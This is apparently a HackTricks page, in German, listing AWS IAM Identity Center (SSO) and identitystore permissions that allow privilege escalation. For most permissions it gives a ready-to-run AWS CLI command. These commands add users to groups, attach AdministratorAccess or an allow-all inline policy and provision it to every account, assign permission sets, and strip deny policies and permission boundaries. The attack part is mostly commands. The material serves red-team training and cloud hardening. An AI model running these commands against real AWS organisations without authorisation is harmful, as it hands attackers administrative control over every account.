AWS - SSO & identitystore Privesc

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

AWS Identity Center / AWS SSO

Für weitere Informationen über AWS Identity Center / AWS SSO siehe:

AWS - IAM, Identity Center & SSO Enum

warning

Beachte, dass standardmäßig nur Benutzer mit Berechtigungen aus dem Management-Konto auf das IAM Identity Center zugreifen und es steuern können.
Benutzer aus anderen Konten können dies nur erlauben, wenn das Konto ein Delegierter Administrator ist.
Siehe die Dokumentation für weitere Informationen.

Passwort zurücksetzen

Ein einfacher Weg, um Privilegien in solchen Fällen zu eskalieren, wäre, eine Berechtigung zu haben, die es erlaubt, die Passwörter der Benutzer zurückzusetzen. Leider ist es nur möglich, eine E-Mail an den Benutzer zu senden, um sein Passwort zurückzusetzen, sodass du Zugriff auf die E-Mail des Benutzers benötigst.

identitystore:CreateGroupMembership

Mit dieser Berechtigung ist es möglich, einen Benutzer in eine Gruppe zu setzen, sodass er alle Berechtigungen der Gruppe erbt.

bash
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle gewährt wird.

bash
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle gewährt wird.

bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle zugewiesen ist.

warning

Um diese Berechtigungen in diesem Fall auszunutzen, müssen Sie den Namen einer kundenverwalteten Richtlinie kennen, die in ALLEN betroffenen Konten vorhanden ist.

bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Ein Angreifer mit dieser Berechtigung könnte einem Benutzer unter seiner Kontrolle ein Berechtigungsset für ein Konto zuweisen.

bash
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Gibt die STS- kurzfristigen Anmeldeinformationen für einen bestimmten Rollennamen zurück, der dem Benutzer zugewiesen ist.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Sie benötigen jedoch ein Zugriffstoken, dessen Beschaffung ich nicht sicher weiß (TODO).

sso:DetachManagedPolicyFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer AWS verwalteten Richtlinie und dem angegebenen Berechtigungsset entfernen. Es ist möglich, mehr Berechtigungen zu gewähren, indem eine verwaltete Richtlinie (Ablehnungsrichtlinie) abgetrennt wird.

bash
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer von Kunden verwalteten Richtlinie und dem angegebenen Berechtigungsset entfernen. Es ist möglich, weitere Berechtigungen zu gewähren, indem eine verwaltete Richtlinie (Ablehnungsrichtlinie) abgetrennt wird.

bash
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Berechtigungen aus einer Inline-Richtlinie des Berechtigungssets entfernen. Es ist möglich, mehr Berechtigungen zu gewähren, indem eine Inline-Richtlinie (Verweigerungsrichtlinie) abgetrennt wird.

bash
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Permission Boundary aus dem Berechtigungsset entfernen. Es ist möglich, mehr Berechtigungen zu gewähren, indem die Einschränkungen des Berechtigungssets, die von der Permission Boundary gegeben werden, entfernt werden.

bash
aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks